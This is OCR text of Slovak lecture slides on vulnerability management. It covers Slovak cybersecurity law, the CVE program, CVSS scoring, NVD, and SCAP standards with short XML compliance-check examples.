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= JedinecCné identifikatory pre verejne zname zranitelnosti a
expozicie v oblasti informacnej bezpecnosti CVE, CWE, CVSS
skore a hodnotenia

» \Vlyuzitie nastrojov pre vyhodnocovanie zranitefnosti
= Moznosti pre manazment zaplat



Threat

Nadviazanie na predosliée temy

Asset Vulnerabiity




Nadviazanie na predoslé témy

Aktiva, zranitelnosti, hrozby

- Specialista KB chce byt pripraveny na
akykolvek typ utoku

« zabezpecit aktiva siete organizacie.

* Na tento ucel je potrebné identifikovat’

- Aktiva (assets) Threat
Vsetko, Co ma pre organizaciu hodnotu a musi
infrastruktarnych zariadeni, koncovych Risk
zariadeni, softveru a primarnych aktiv —
udajov a iného duSevného vlastnictva, biznis
procesov
Slabé miesto v systéme alebo jeho dizajne,
ktoré by mohol utoCnik zneuzit'.

* Hrozby (threats)
Akékolvek potencialne nebezpecenstvo pre

byt chranené, vratane serveroy,
« Zranitelnosti (vulnerabilities) Asset Vulnerabiity
aktivum.




Konceptualny ramec

pre riadenie zranitelnosti




Konceptualny ramec pre riadenie zranitelnosti

Riadenie zranitelnosti (Vulnerability Management, VM)

= VM je proces:
.dentifikécia — hodnotenie — priorizacia — mitigacia — overenie

* a sucast riadenia technickych rizik, pri ktorom mozno vychadzat z:
= NIST SP 800-40 — Creating a Patch and Vulnerability Management Program
= NIST SP 800-30 — Guide for Conducting Risk Assessments

= NIST Cybersecurity Framework (CSF) — core functions and mapping
(Identify/Protect/Detect/Respond/Recover)

= |ISO/IEC 27002:2022 — Annex A/ Control 8.8 Management of technical vulnerabilities
= CIS Controls — Continuous Vulnerability Management (Control 7) %

= Zakon o KB €. 69/2018 Z.z. (novel. 366/2024 Z. z.)
+ Priloha C. 1 k vyhlaske 227/2025 Z. z.:

Rozsah bezpecnostnych opatreni pre oblasti i
kybernetickej bezpeclnosti podla § 20 ods. 2 zakona Framework
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Zakon o KB ¢. 69/2018 Z.z., novelizacia 366/2024 Z. z.

Zakon o KB 69/2018, novelizacia 366/2024

Cl. |
§ 1 Predmet zakona

Tento zakon upravuje
a) podmienky pre riadenie a zabezpecCenie kybernetickej bezpecnosti, najma

3. hlasenie kybernetickeho bezpecnostneho incidentu, vyznamnej
kybernetickej hrozby, udalosti odvratenej v poslednej chvili a zranitelnosti,
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Zakon o KB ¢. 69/2018 Z.z., novelizacia 366/2024 Z. z.
Pojem zranitelnost’

§ 3 Vymedzenie zakladnych pojmov
(1) Na ucely tohto zakona sa rozumie

q) zranitefnostou akykolvek neziaduci stav alebo chyba technického prostriedku
alebo programoveho prostriedku, alebo nedostatok procesu vratane
nespravnej bezpecnostnej konfiguracie, ktora méze byt zneuzita
kybernetickou hrozbou,




Zakon o KB €. 69/2018 Z.z., novelizacia 366/2024 Z. z.

Uloha CSIRT pre verejné SalS v kyber. priestore SR v kontexte zranitelnosti

§ 6 Narodna jednotka CSIRT

((5‘3% Urad prostrednictvom narodnej jednotky
IRT na ucCely zverejnovania zranitelnosti
alebo zamedzenia ich zneuzitia pini ulohu
koordinatora vo veciach komunikacie o
zistenych alebo nahlasenych zranitelnostiach
medzi PZS, vyrobcom alebo dodavatelom
produktu IKT alebo sluzby IKT a inymi
dotknutymi osobami.

a) identifikuje a kontaktuje dotknuté osoby,

b? komunikug'e o zranitel’nosti s vyrobcom
alebo poskytovatelom produktu IKT alebo
sluzby IKT,

c) oznamuje PZS zranitelnost’, ktora sa ho
tyka a odporuCi mu opatrenia na zamedzenie
jej zneuzitelnosti; opatrenia na_useku kontroly a
riesenia kybernetickych bezpecnostnych
incidentov tym nie su dotknute,

d) poskytuje pomoc osobam oznamujucim
zranitelnosti,

e) riadi zverejiiovanie zraniWeI’no
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(6) Urad zabezpeci, aby bolo mozné
oznamovat zranitelnosti aj prostrednictvom
JIS KB vratane anonymnych oznameni a na
ziadost' oznamovatela zabezpecCi zachovanie
jeho anonymity vo vztahu k oznamenym
skutoCnostiam.

(7) Ak ide o zranitelnost tykajucu sa sluzby, ku
ktorej vykonava sluzby jednotka CSIRT v inom
Clenskom state Eurdpskej unie, postupi urad
oznamenie o zranitelnosti tejto jednotke CSIRT
a informuje o tom oznamovatela.

(8) Urad prostrednictvom CSIRT vykonava
neinvazivne zistovanie a hodnotenie
zranitelnosti verejne pristupnej siete a
informacného systému v kybernetickom
priestore Slovenskej republiky;, ....




Zakon o KB ¢. 69/2018 Z.z., novelizacia 366/2024 Z. z.
Povinnosti PZS v kontexte zranitelnosti ‘

§ 19 Povinnosti prevadzkovatela zakladnej sluzby

(6) Prevadzkovatel zakladnej sluzby je dalej povinny

h) vytvorit’ a zaviest' uinny mechanizmus v€asného
informovania statutarneho organu a
zodpovednych veducich zamestnancov o
Kybernetickych hrozbach, zranitelnostiach,
kKybernetickych bezpecnostnych incidentoch,
udalostiach odvratenych v poslednej chvili,
moznych dopadoch kybernetickych
bezpecnostnych incidentov, vysledkoch analyzy
rizik a stavu implementacie osetrenia rizik s
cielom dodrziavania tohto zakona,
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Priloha €. 1 k vyhlaske 227/2025 Z. z.: ,,Rozsah bezpeénostnych opatreni pre oblasti KB podla § 20 ods. 2 zakona“

BezpecCnostné opatrenia pre spravu zranitelnosti a kybernetickych IKT- |OT- |OT-

Polozka

hrozieb podla § 20 ods. 2 pism. b) zakona prijima PZS tak, ze: PKZS |PZS |PKZS

je zabezpecCena informovanost’ o identifikovanych kybernetickych hrozbach s

12 cielom prijat primerané bezpecnostné opatrenia vratane kybernetickych
hrozieb Specifickych pre informacné a komunikacné technoldgie (IKT) a
operacné technoldgie (OT)

ANO | ANO | ANO | ANO

su ziskavaneé informacie o zranitel'nostiach pouzivanych informacnych
13 systémov vratane hodnotenia, do akej miery su tieto systémy zranitelné a ANO | ANO | ANO | ANO
prijimania vhodnych opatreni na ich mitigaciu

14 je najmenej raz rocne vykonavané pravidelné posudzovanie zranitelnosti ANO - | ANO ANO

15 je hajmenej raz za 6 mesiacov vykonavané pravidelné posudzovanie NG
zranitefnosti

16 su urCené priority aktualizacii na zaklade posudenia rizik a analyzy vplyvov | ANO | ANO | ANO | ANO

na webovom sidle su zverejnené kontaktné udaje pre nahlasovanie zistenych : '
7 |Lzranitetnosti B e A B
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Oblasti zaujmu (KB je jedna z nich)

Organizacia MITRE

= * 1958, neziskova spolonost’ z USA,
ktora sluzi ako objektivny poradca v
oblasti systemoveho inzinierstva pre
vladne agentury, vojenské aj civilné _ Aerospace & Transportation Civil Systems & Veterans’
. . D Defense & Intelligence Services
= Povazuje sa za doveryhodnu pri

4

Center for Advanced Aviation System Development (CAASD)

Center for Enterprise Modernization

k , , I d k d ’ v , National Security Engineering Center (NSEC) Sponsor: Federal Aviation Administration
pos ytova n I VyS e OV a o poru Ca n I s D o tof W Sponsor: Department of the Treasury and Internal Revenue
v 4 r . . ponsor: bepariment O ar
Service, and co-sponsored by the Department of Veterans
Za |OzenyCh na UdaJOCh bez konfl I ktu Affairs, Social Security Administration, and Department of
Zé UJ m OV oy i Commerce

= zjednotenie vlady, priemyslu a

akademicke] obce na spolupracu pri
rieSeni velkych spoloenskych
vyziev, od reakcie na pandémie cez

bezpeclnost na diafniciach, socialnu Homeland Security
SpraVOdIIVOSt az po KB :-Int)sl;r:::::ﬁs(:czsusv:z)ls)ystems Engineering and Development Health & Human Services

|| pre Va’deO Va né Sponsor: Department of Homeland Security The Health FERDC

Sponsor: Department of Health and Human Services

(FFRDCs) Cybersecurity
’r v . , . National Cybersecurity FFRDC (NCF)
= v sucasnosti MITRE prevadzkuje

Sponsor: National Institute of Standards and Technology

Sest zo 42 existujucich FFRDC

o Financované
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https://www.mitre.org/our-impact/rd-centers
https://www.mitre.org/our-impact/rd-centers
https://www.mitre.org/our-impact/rd-centers
https://www.mitre.org/focus-areas
https://www.mitre.org/focus-areas
https://www.mitre.org/focus-areas

Common Vulnerabilities and Exposures (CVE) Database

= Americka vlada sponzorovala MITRE Corporation, aby vytvorila a spravovala katalog
znamych bezpecnostnych hrozieb s nazvom Common Vulnerabilities and Exposures (CVE).

= Zamer programu CVE pre verejne zname bezpecnostné zranitelnosti je:

identifikovat’ a definovat definuje jedinecné CVE identifikatory Root — manazérske funkcie
katalogizovat' a uchovat  k dispozicii je 296 000 zaznamov CVE, ktoré je CNA (CVE Numbering Authority) —
mozné vyhladat a stiahnut operacné funckie

Kazdy obsahuje: CVE Working .
v . . . e . CVE Board o Secretariat
= CVEID so Styrmi alebo viacerymi Cislicami Groups

v Casti poradového Cisla daného ID (napr. ,CVE-
1999-0067%, ,CVE-2014-12345", ,CVE-2016-

CISA ICS

“ Top-Level Top-Level
76 543 2 1 ) . Root Root
= Strucny chyby zabezpecCenia
= Akékolvek relevantné (t.J. spravy o CNA-LR M M m
-C|SA ICs Google INCIBE JPCERT/CC Red Hat

zranitelnosti a upozornenia).
= Stav: Rezervované/Zverejnené/Odmietnuté

==,
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https://www.cve.org/
https://www.cve.org/Resources/Roles/Cnas/CNA_Rules_v4.1.0.pdf
https://www.cve.org/ResourcesSupport/AllResources/CNARules
https://cve.mitre.org/about/faqs.html#cve_entry_descriptions_created
https://cve.mitre.org/about/faqs.html#cve_entry_references

Rejected CVE

Podla pravidiel MITRE a CNA sa zaznam oznacCi ako REJECTED v tychto pripadoch:
= Chyba pri pridelovani
= CVE identifikator bol prideleny omylom, hoci zranitefnost’ v skutoCnosti neexistovala.
= Typické pri false positive” alebo nespravne interpretovanom spravani softvéru.
= Duplicitné zadanie
= Rovnaka zranitelnost bola nahlasena viackrat a dostala viac CVE ID.

= V takom pripade sa nechava jedno ,platne” CVE, ostatne sa oznacia ako REJECTED s
odkazom na spravny zaznam.

= Nespina kritéria CVE

= HIaseny problém sa nakoniec vyhodnoti ako ,,nepredstavuje bezpecnostnu zranitefnost™
podla pravidiel CVE Programu.

= Napriklad ide o funkcnu chybu, neskodny bug alebo spravanie mimo scope CVE.
= Administrativhe dévody
= Niektoré CVE ID sa alokuju dopredu (pre vendorov alebo pre konkrétny Casovy ramec).
Ak sa nakoniec nepouziju, vratia sa spat’ a oznacia sa ako REJECTED.

"This candidate was rejected. Reason: It was a duplicate of CVE-XXXX-YYYY."
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Viac ako 476 partnerov z 35 krajin participuje

Su CNA partneri aj zo SR?

ERIA ¢+ Ligva

i Partner Rola Typ Krajina*

programu | organizacie
Partners by Country i T
m “ ESET, spol. s Len vSetky produkty ESET a CNA Dodavateliaa Slovak
= o12 r.o. zranitelnosti objavené spolocnostou projekty, Republic
| ESET, ktoré nie su pokryté inym vyskumnici
rozsahom CNA zranitefnosti
W EL{ 1NV T Zranitelnosti v softvéri zistené CNA Narodné a Slovak
ST A1 -Bl National Cyber Security Centre SK- priemyselné  Republic
SK-CERT CERT a zranitelnosti nahlasené CERTs

National Cyber Security Centre SK-
CERT na koordinované zverejnenie,
ktoré nie su v pdsobnosti iného CNA

KOMPETENENE CENTRUM
LNEHO ROZVOIA ” KYBERNETICKE) BEZPEENOSTI
BLIKY ZILINSKE] UNIVERZITY V ZILINE

. Financované
Bl Eurdépskou Gniou
NextGenerationEU
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https://www.cve.org/PartnerInformation/ListofPartners
https://www.cve.org/PartnerInformation/ListofPartners
https://www.cve.org/PartnerInformation/ListofPartners
https://www.cve.org/ProgramOrganization/CNAs
https://www.cve.org/ProgramOrganization/CNAs
https://www.cve.org/ProgramOrganization/CNAs

Priklad: CVE s CVSS skore

= zranitelnost protokolu DES a 3DES:
IXCVE-2016-2183 Detail

Current Description

The DES and Triple DES ciphers, as used in the TLS, SSH, and IPSec protocols and other protocols and products, have a
birthday bound of approximately four billion blocks, which makes it easier for remote attackers to obtain cleartext data
via a birthday attack against a long-duration encrypted session, as demonstrated by an HTTPS session using Triple DES
in CBC mode, aka a "Sweet32" attack.

+View Analysis Description

S everi ty CVSS Version 3.x CVSS Version 2.0

CVSS 3.x Severity and Metrics:

WNIST: NVD Base Score: - Vector:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

KOMPETENCNE CENTRUM
KYBERNETICKE) BEZPECNOSTI
FILINSKE) UNIVERZITY ¥ 2ILINE

ate Financované
PR Europskou Gniou
NextGenerationEU
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QUICK INFO

CVE Dictionary Entry:
CVE-2016-2183

NVD Published Date:
08/31/2016

NVD Last Modified:
08/16/2022

Source:

Red Hat, Inc.



Attack Vector vs AHack Surface

Vector = Attack vector = Access Vector

Vector:
CVSS:3.1JAV:NJAC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Ways to Enter

= sposob, akym moze byt’ zranitelnost’ zneuzita
= odkial alebo akym spoésobom uto€énik moéze spustit’ utok, aby
zranitelnost' vyuzil
= hlavné typy attack vectorov v CVE/ NVD databazach (podla CVSS —
Common Vulnerability Scoring System)
= Network (N) — zranitelnost m6ze byt zneuzita cez siet (napr. internet, LAN).
= Adjacent (A) — utoCnik musi byt ,blizko" v sieti (napr. v rovnakej Wi-Fi sieti).
= Local (L) — uto€nik musi mat' lokalny pristup k systému (napr. pozivatelsky ucet
alebo terminal).

= Physical (P) — utoCnik musi fyzicky manipulovat so zariadenim (napr. USB port,
zariadenie).




C ’fss Hodnotenie zranitelnosti

COMMON VULNERABILITY
SCORING SYSTEM




Common Vulnerability Scoring System (CVSS)

P J
re hI a O <« C 23 firstorg/cvss/vd.0/specification-document G B & % o & 0

ol

o Relaunch to update

= nastroj na hodnotenie zranitelnosti
(vulnerability assessment tool)

= uvadza spoloCné atributy a

zavaznost’ zranitelnosti _ f

v 7 v V4 e , Scoring S StEITI(CVSS—Slc)
= v pocitacovych hardvérovych a » | ‘ c 2 ss
SOftVérOV}I/Ch SyStémOCh S;ec;faicca);ion Document

User Guide

= poskytuje Standardizované skore - cempes Common Vulnerability Scoring System version 4.0:

Frequently Asked Questions

zranitelnosti cvssvao bocumenaion & - Specification Document

Resources

- k t ! t Y ~ CVSS v3.1 Archive
poskytuje otvoreny ramec s oo iy pre
. . v ’ CVSS v2 Archive The Common Vulnerability Scoring System (CVSS) is an open framework for communicating the characteristics and
metrl kam I y pre VsetkyCh CVSS vl Archive severity of software vulnerabilities, CVSS consists of four metric groups: Base, Threat, Environmental, and

Also available in PDF format <.

A4 t I, JSON & XML Data Supplemental. The Base group represents the intrinsic qualities of a vulnerability that are constant over time and across
pOUZIVa e OV Representations user environments, the Threat group reflects the characteristics of a vulnerability that change over time, and the
J . agn y . y . CVSS On-Line Training Environmental group represents the characteristics of a vulnerability that are unique to a user's environment. Base
| po ma ha prl Orltlzovat Zra n |te| nOSt| Crumse metric values are comblped with default values that assume the h.\ghest selverlty for Threat and Envl|ronmental metrllcs
Identity & logo usage to produce a score ranging from 0 to 10. To further refine a resulting severity score, Threat and Environmental metrics

H can then be amended based on applicable threat intelligence and environmental considerations. Supplemental metrics
= FIRST - The Forum of Incident " : o

do not modify the final score, and are used as additional insight into the characteristics of a vulnerability. A CVSS vector

Res ponse a nd Secu rity Tea ms . string consists of a compressed textual representation of the values used to derive the score. This document provides

the official specification for CVSS version 4.0,

= bOIO urcene ako S pra vCa CVSS The most current CVSS resources can be found at https.//www.first.org/cvss/
| aby pOd po rl I O Jeho prljatle na CVSS is owned and managed by FIRST.Org, Inc. (FIRST), a US-based non-profit organization, whose mission is to help

computer security incident respanse teams across the world. FIRST reserves the right to update CVSS and this
Celom Svete document periodically at its sole discretion. While FIRST owns all rights and interest in CVSS, it licenses it to the public
freely for use, subject to the conditions below. Membership in FIRST is not required to use or implement CVSS, FIRST

KOMPETENCNE CENTRUM
HO ROZVOJA KYBERNETICKE) BEZPECNOSTI
¥ FILINSKE) UNIVERZITY ¥ 2ILINE

Financované
Eurépskou tniou
NextGenerationEU

v

PLAN [OBNOVY_



https://www.first.org/cvss/v4.0/specification-document
https://www.first.org/cvss/v4.0/specification-document
https://www.first.org/cvss/v4.0/specification-document

Common Vulnerability Scoring System (CVSS) Vector:

CVSS Metric Grou ps CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
u CVSS pouzl’va trl Skuplny Base Metric Group TempGnral Metric Environmental Metric Group
, , . roup
metrik na posudenie
. ’ 7 Exploitability metrics Impact metrics
zranitelnosti:

Zrelost
Exploit Code

lBase Metric Group: Attack Vector

Predstavuje charakteristiky
zranitelnosti, ktoré su

konsStantné v priebehu asu aj v | [akdiaas
réoznych kontextoch

M Temporal Metric Group: Privileges Required

Meria charakteristiky

zranitefnosti, ktora sa moze
casom menit, ale nie v User Interaction
pouzivatelskych prostrediach

MEnvironmental Metric Groups
Meria aspekty zranitelnosti,
ktoré su Specifické v prostredi

Maturity

Confidentiality
impact

Confidentiality
Requirement

Modified Base

Integrity

Metrics Requirement

Naprava
Integrity Impact Remediation Level
Doévera
Awvailability Impact Report Confidence Availability
| Requirement ‘

konkrétnej organizacie




Common Vulnerability Scoring System (CVSS) ey
Proces CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

= Proces CVSS vyuziva nastroj s nazvom CVSS v4.0 Calculator

= Calculator je ako dotaznik, v ktorom sa robia volby popisujuce zranitefnost' v
kazdej skupine metrik

= Neskor sa a zobrazi sa Ciselné hodnotenie zavaznosti
Ukazka pre vi' pocCet podfa CVSS v4.0 Calculator
Attack Vector (AV) Scope (S)
[ Nework ) [RECEERCI I Changed (Q
Attack Complexity (AC) Confidentiality (C)
High (H) None (N) High (H)
Privileges Required (PR) Integrity (1)
Nore ()| (oW e e
User Interaction (U1) Availability (A)
Required (R) Low (1) | [ High (H)

Vector String - CVSS:31/AVINAC:LPRHULNS:WC:LLUAN


https://www.first.org/cvss/calculator/4.0

Common Vulnerability Scoring System (CVSS)

Proces CVSS (Pokr.)

, Metrics
= Po vyhodnoteni
skupiny Base Base Metric Group Base Base
Nastavena vendorom: po
Met”C Group: nastaveni sa uz nemeni Formula Score
= Sa vyhodnotia
hodnoty skupin Metrics
Temporal a . '|
1 Temporal Metric Group emporarily
E nvironme ntal Nastavena vencllorom: po FTerm pl'a Adjusted
i isad : ormu
Metnc Group nmaesr:?venl sa Casom stale Score
= A tie modifikuju
vyslgdky Base Metrics
Metric Group
= aby poskytli Eg;g;::}eenzzlstlwasgvigniroup Env. Environmentally
celkové skore. koncovymi pouzivatelmi Formula Adjusted Score
PLAN [OBNOVY] | ¥ 0 EEEEEEEEEEEEEE ‘




Common Vulnerability Scoring System (CVSS)

Porovnanie CVSS 3.1 a 4.0 (od novembra 2023)

CVSS:3.1/AV:N/AC:L/ PR:N/UI:N/S:U/C:H/ I:N/ A:N

CVSS:4.0/AV:N/AC:L/AT-N/PR:N/UI:N/  VC:H/NIEN/NA:N/SC:N/SI:N/SA:N

Oblast CVSS v3.1 Vyznam CVSS v4.0 Vyznam
Scope S:U Nezmeneny dosah — Scope bol v CVSS
' Avf.O odstraneny
Attack _ _ AT:N Ziadne dodatocné
Requirements . poziadavky
Confidentialit : ¢ : Vysoky dopad na
(Primary) y C:H Vysoky dopad VC:H ddvernost:
Integrity (Primary)  L:N Ziadny dopad VI:N %l&dg??{udopad na
Availability (Primary) A:N Ziadny dopad VA:N ggag%ndoos%ad na

Secondary Impacts

SC:N/ SI:N/ SA:N

Ziadne sekundarne
dopady



Common Vulnerability Scoring System (CVSS)

CVSS Reports L ’f ss

= Cim vy$sie je hodnotenie zavaZnosti =) COMMON VULNERABILITY
SCORING SYSTEM

= tym vacsi je potencialny dopad zneuzitia
= tym vacsia je naliehavost’ rieSenia tejto Rating CVSS Score

zranitelnosti.

= Akakolvek zranitelnost presahujuca 3.9
by sa mala rie$it’. Low 0.1-3.9

= Rozsahy pre CVSS skore a Medium 4.0-6.9
zodpovedajuci kvalitativny vyznam je

uvedeny v tabulke >>
Critical 9.0-10.0

M CcvVsSsS > 3.9




Common Vulnerability Scoring System (CVSS) C‘i fss
/ |

Skenery/nastroje maju svoje urcovanie ,,severity“
COMMON VULNERABILITY
SCORING SYSTEM

= Oficialne stupnica CVSS: » Priklad: Severity z nastroja GVM
= Mapovanie CVSS (z NVT feed) na kategorie

Rating CVSS Score

Rating CVSS Score

L
Low 0.1-3.9 °9 1
Medium 4.0 —6.9 oW L1 2

Medium 4.0-6.9

Wgh  0-89

N CVSS >3.9

Critical
(len v novsich verziach)

False Positive / |oznagenie vysledku ako
Error chybovy alebo nerelevantny
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DalSie informaéné zdroje o zranitelnostiach

National Vulnerability Database (NVD)

) httpsy//nvd.nist.gov/vuln/ A Ty GO -

BE An official website of the United States government Here's how you know v

Skére CVSS nie je uvedené v zozname _
CVES na ler = NVD MENU

= Je uvedené vinegj databaze, tzv. NVD: [y AL
NATIONAL VULNERABILITY DATABASE lerfzcz,“ e

National Vulnerability Database (NVD):

o, _ N _ Search Vulnerability Database
- VyUZ|Va |dent|f|kat0ry CVE d pOSkthJe Try a product name, vendor name, CVE name, or an OVAL query.

dodatocné informacie o

NOTE: Only vulnerabilities that match ALL keywords will be returned, Linux kernel vulnerabilities are categorized separately from

I ! 1 vulnerabilities in specific Linux distributions.
Z ra n I te I n OStI a C h Selarch |:elsults wiﬁ only Il;e retjrne: for data that is populated by NIST or from source of Acceptance Level "Provider".
u Sk(’) re Zra n |te I,n Ost |’ CVSS Search Type Contains HyperLinks
. , . ® Basic O Advanced O
- teChnICke detally Results Type CISA Known Exploited
Vulnerabilities

- d Otkn u té Su bJ ekty © Overview O statistics (0 US-CERT Technical Alerts

. . . - . eyword Searc (J US-CERT Vulnerability Notes
= zdroje na dalSie vySetrovanie. eyword Seareh 0OVAL Queries

= Databazu vytvorila a spravuje NIST et e e

= National Institute of Standards and sesren e e

@ AllTime O Last 3 Months (J Exclusively Hosted Service

Technology (NIST) vIady USA

PLAN [OBNOVY_

MINISTERSTVO
INVESTICH, RECIONALNEHO ROZVOJA
A INFORMATIZACIE
SLOVEN!



https://www.cve.org/
https://nvd.nist.gov/vuln/search

Zhrnutie databaz, ich ucelu a kto ich spravuje

CVE, CVSS, NVD

Skratka Kto ju Hlavny Géel
databazy spravuje y

CVE (Common Jedinecny identifikator pre Poskytnut jednotny identifikator pre
Vulnerabilities kazdu znamu zranitefnost. MITRE  zranitelnost, aby sa o nej dalo

and Exposures)Napr. CVE-2025-12345 konzistentne komunikovat

CVSS

Standard na hodnotenie

(Common . . . o . Poskytnut’ metriku, ktora vyjadruje,
- zavaznosti zranitelnosti . . T )
Vulnerability v . . FIRST ako nebezpecna je zranitelnost a
. pomocou Ciselneho skore . . Ve e
Scoring aka je pravdepodobnost jej zneuzitia
(0-10)
System)
NVD (National Verejna databaza, k’tora spaja Cent.ral’lzovgny zdroj |rvnjor_macu o)
. CVE ID s CVSS skore, NIST zranitefnostiach, umoznuje
Vulnerability : o e e , .
popisom, opravami a dalSimi (USA) vyhladavanie podla produktu, skore,
Database) e . .,
udajmi vektora utoku a iné
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Automatizacia, alebo.. aby to nebolo len ,,na papieri*

SCAP - Security Content Automation Protocol

= SCAP je subor standardov a specifikacii navrhnutych = pouzivany ako $tandard pre

tak, aby umoznili: o vymenu informécii o

= automatizovanu spravu zranitelnosti zranitelnostiach a

= audit konfiguracii konfiguraciach.

= meranie stavu zabezpecenia = Implementovany v nastrojoch ako

= hodnotenie zhody s bezpecCnostnymi politikami OpenSCAP, Nessus, Qualys,

= Zranitelnost sa zhromazduje a uchovava pomocou Rapid7, Greenbone.
SCAP = Zakladna infrastruktura pre NIST
= vyhodnocuje informacie a priraduje jedinecné ID pre zranitelnost NVD a vladne ramce (FISMA,

= Verzia: 1.3 FedRAMP, DISA STIGs).

= Stav: koneény = Umoziuje automatizovaneé

hodnotenie compliance a rizik

" Specifikacia: naprieC systémami.

Nastroje SCAP:

= The SCAP Content Validation Tool

= pavrhnuty na overenie spravnosti toku udajov protokolu SCAP
%66 konkrétny pripad pouzitia podla toho, €o je definované v SP 800-

= Mozno stiahnut’ (49 MB), SHA256 na
webe..

PLAN [OBNOVY_



https://csrc.nist.gov/publications/detail/sp/800-126/rev-3/final
https://csrc.nist.gov/publications/detail/sp/800-126/rev-3/final
https://csrc.nist.gov/publications/detail/sp/800-126/rev-3/final
https://csrc.nist.gov/csrc/media/Projects/Security-Content-Automation-Protocol/tools/scap/1.3/scapval-1.3.6-rc3.zip

Security Content Automation Protocol

SCAP = OVAL sa pouziva na popis
bezpecnostnych zranitelnosti
alebo pozadovanej konfiguracie
m systémov
Jazyky SCAP: - OVAL definicie
XCCDF: The Extensible Configuration Checklist Description Format - definujd bezpedny stav
= OVAL®: Open Vulnerability and Assessment Language “'etgf]?cuﬁ;’cﬂstfgo‘r’ pocitadi:
= Hlavna sucast étan(.jardu SCAF_’ . povo?enia stborov Y
= QOCIL: Open Checklist Interactive Language = procesy, ...
£ . = sa vyhodnocuju pomocou
= Asset Ident|ﬂcat|on_ timoCnika nazyvaného scanner
= ARF: Asset Reporting Format = CPE
T X o & 4 = gsluZi naidentifikaciu IT
" Identifikacne schemy | | platforiem a systémov
= CCE™: Common Configuration Enumeration pomocou jednoznacne
™. : definovanych nazvov
= CPE™: Common Platform Enumeration - zahfiia aj metédu na kontrolu
= Software Identification (SWID) Tags mien oproti systemu a format
o popisu na viazanie textu a
= CVE®: Common Vulnerabilities and Exposures testov na meno
- Metriky - E:Wonznam slabych stranok
= CVSS: Common Vulnerability Scoring System softvéru
= CCSS: Common Configuration Scoring System = poskytuje tieZ informéacie o
] prevencii, implementacii a
u |nteg rita zmierfiovani slabych stranok

= TMSAD: Trust Model for Security Automation Data

PLAN [OBNOVY_
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https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3

Security Content Automation Protocol = OVAL
(Open Vulnerability and Assessment Language)

SCAP — XCC DF, OVAL OVAL je ,kontrola“ — vykonava technicku validaciu v

systéme.
= XCCDF = Format na technické overovanie konfiguracie
(The Extensible Configuration Checklist Description Format) systému (tiez XML standard).
= XML $tandard = Presne definuje ako skontrolovat systém:
Definuje bezpe&nostné politiky, benchmarky, profily - ;%Qf,:\‘j'te?’u subory, sluzby, procesy, balicky, verzia

a konfiguracné pravidla (Rules).
Tvorba pravidiel
Prepojenie na OVAL testy
Scoring a profily
Automatizované compliance skeny v ramci SCAP

= Obsahuje mechanizmus na vyhodnotenie
zranitelnosti a konfiguracii.

= Pouziva sa v skeneroch (OpenSCAP,
Greenbone, Nessus...) na vykonanie kontroly
proti pravidlam.

<oval_definitions>

<Rule id="disable_guest™> <definition id="def:1" class="compliance">

<title>Guest account disabled</title> <metadata>
<check system="http://oval.mitre.org/XMLSchema/oval <title>Guest account is disabled</title>
-definitions-5"> z;’m?‘;ad?ti*:»
" . . Lam criteria
<check-content-ref name="oval:org.example:def:1"/> <criterion test pef="tst:1"

</check> comment="Guest account = disabled"/>
</Rule> </criteria>
</definition>

</oval _definitions>

MINISTERSTVO
INVESTICH, RECIONALNEHO ROZVOJA
A INFORMATIZACIE
SLOVENSK 1KY
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Security Content Automation Protocol = ARF

SCAP - OCIL, ARF

(Asset Reporting Format)
= Datovy model / XML format

= OCIL

(Open Checklist Interactive Language)
= XML Standard na interaktivne otazky
Doplitia technické testy o procesné a
organizaCné overenia
Umoznuje klast otazky
Zbierat odpovede
Definovat interpretaciu vysledkov

Pouziva sa spolu s XCCDF/OVAL na

kombinaciu technickych aj netechnickych

kontrol

<ocil:questionnaire id="g_guest">
<ocil:question id="gl1">

<ocil:prompt>Is Guest account disabled?</ocil:prompt>

<ocil:response-choice>
<ocil:choice>Yes</ocil:choice>
<ocil:choice>No</ocil:choice>
</ocil:response-choice>
</ocil:question>
</ocil:questionnaire>

ate, Financované
PR Europskou tGniou
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Viaze vysledky skenov a hodnoteni ku
konkrétnym aktivam prostrednictvom Asset
|dentification (Al).

Transport a agregacia reportov o aktivach
(vysledky skenov, compliance, inventar).

ViaZe aktiva (Asset Identification) a reporty (napr.
XCCDF/OVAL vysledky)

Vhodné na zber a zoskupovanie dat z viacerych
nastrojov

Je mozné definovat interpretaciu vysledkov

<arf:asset-report-collection>
<arf:assets>
<arf:asset id="asset-1"»>
<ai:hostname>srvel.example.com</ai:hostname:>
<farf:asset>
<farf:assets>
<arf:reports:
<arf:report id="report-1"»>
<arf:content>
<1-- XCCDF/OVAL vysledky --»>
</arf:content>
</farf:report>
</farf:reports>
</arf:asset-report-collection:



https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3
https://csrc.nist.gov/Projects/Security-Content-Automation-Protocol/SCAP-Releases/scap-1-3

Security Content Automation Protocol ai:asset id-"ssset-1"

SCAP AI xmlns:ai="http://scap.nist.gov/schema/asset-identification
— J1.1">

<ail:computing-device>
<ai:hostname>srvel.example.com</ai:hostname>

n Al <ai:ipvd-address>192.0.2.10</ai:ipvd-address>
o <ai:mac-address>00-50-56-AA-BB-CC</al:mac-address>
